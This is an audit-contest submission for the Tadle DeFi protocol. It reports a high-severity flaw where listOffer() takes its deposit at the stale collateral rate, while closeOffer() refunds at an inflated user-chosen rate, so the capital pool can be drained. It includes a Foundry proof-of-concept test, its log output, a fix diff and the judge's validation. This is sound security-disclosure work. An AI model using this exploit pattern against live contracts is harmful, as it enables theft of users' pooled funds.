Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Malicious user can `drain` the capitalPool because wrong `_collateralRate` is used while calculating `transferAmount` in listOffer()

0xaraj

Summary

Malicious user can drain the capitalPool because wrong _collateralRate is used while calculating transferAmount in listOffer()

Vulnerability Details

A user can list his offer using listOffer(), which takes stock, amount, collateralRate as input. If the OfferSettleType = protected then user has to transfer collateral to capitalPool via tokenManager.

function listOffer(address _stock, uint256 _amount, uint256 _collateralRate) external payable {
...
/// @dev transfer collateral when offer settle type is protected
if (makerInfo.offerSettleType == OfferSettleType.Protected) {
uint256 transferAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
@> offerInfo.collateralRate,
_amount,
true,
Math.Rounding.Ceil
);
​
ITokenManager tokenManager = tadleFactory.getTokenManager();
tokenManager.tillIn{value: msg.value}(_msgSender(), makerInfo.tokenAddress, transferAmount, false);
}
...
​
/// @dev update offer info
offerInfoMap[offerAddr] = OfferInfo({
id: stockInfo.id,
authority: _msgSender(),
maker: offerInfo.maker,
offerStatus: OfferStatus.Virgin,
offerType: offerInfo.offerType,
abortOfferStatus: AbortOfferStatus.Initialized,
points: stockInfo.points,
amount: _amount,
@> collateralRate: _collateralRate,
usedPoints: 0,
tradeTax: 0,
settledPoints: 0,
settledPointTokenAmount: 0,
settledCollateralAmount: 0
});
}

If we see above code, for calculating transferAmount, it uses offerInfo.collateralRate(which is previous/old collateralRate) instead of new _collateralRate(which is passed by user). Also this new collateralRate is set in offerInfo struct.

Now this is an issue because closeOffer() calculates refundAmount using new collateralRate(which is set in offerInfo struct) and adds to the owner's address

function closeOffer(address _stock, address _offer) external {
OfferInfo storage offerInfo = offerInfoMap[_offer];
StockInfo storage stockInfo = stockInfoMap[_stock];
​
...
/**
* @dev update refund token from capital pool to balance
* @dev offer settle type is protected or original offer
*/
if (makerInfo.offerSettleType == OfferSettleType.Protected || stockInfo.preOffer == address(0x0)) {
uint256 refundAmount = OfferLibraries.getRefundAmount(
@> offerInfo.offerType, offerInfo.amount, offerInfo.points, offerInfo.usedPoints, offerInfo.collateralRate
);
​
ITokenManager tokenManager = tadleFactory.getTokenManager();
@> tokenManager.addTokenBalance(
TokenBalanceType.MakerRefund, _msgSender(), makerInfo.tokenAddress, refundAmount
);
}
}

A malicious user can buy points(protected settle type) using createTaker() & relist it using listOffer() with a large(as much as he wants) collateralRate then close the offer using closeOffer(). As result, malicious user will pay less collateral while listing offer because of previous collateralRate and when he will close offer then he will get refundAmount calculated using new/large collateralRate.

//Here is PoC

function test_capitalPoolCanBeDrained() public {
//Suppose user is malicious user & created an ask offer with 1e18 amount & 10000 as collateralRate
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1 * 1e18,
10000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
​
//Malicious user himself bought all points at 10000 collateralRate
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 1000);
​
//He relisted it with 200,00,00 collateralRate
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer(stock1Addr, 1e18, 2000000);
​
//Closed the offer
address offer1Addr = GenerateAddress.generateOfferAddress(1);
preMarktes.closeOffer(stock1Addr, offer1Addr);
vm.stopPrank();
​
//Checking malicious user withdraw balance
uint256 amount = tokenManager.userTokenBalanceMap(user, address(mockUSDCToken), TokenBalanceType.MakerRefund);
//This is 200 tokens
console2.log("Malicious user finalBalance:", amount);
//This is only 3 tokens
console2.log("Amount Paid by malicious user:", mockUSDCToken.balanceOf(address(capitalPool)));
}
Logs:
Malicious user finalBalance: 200000000000000000000
Amount Paid by malicious user: 3035000000000000000

In above test we can see, malicious user paid only ~3 tokens to capitalPool & got 200 tokens. This 200 tokens can go as high to completely drain the capitalPool because this 200 token is dependent on collateralRate(which is in malicious users hand)

Impact

CapitalPool can be completely drained

Tools Used

Manual Review

Recommendations

Use _collateralRate passed by user as input, instead of offerInfo.collateralRate

uint256 transferAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
- offerInfo.collateralRate,
_amount,
true,
Math.Rounding.Ceil
);
uint256 transferAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
+ _collateralRate,
_amount,
true,
Math.Rounding.Ceil
);
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-listOffer-collateralRate-manipulate

Valid high severity, because the collateral rate utilized when creating an offer is stale and retrieved from a previously set collateral rate, it allows possible manipilation of refund amounts using an inflated collateral rate to drain funds from the CapitalPool contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.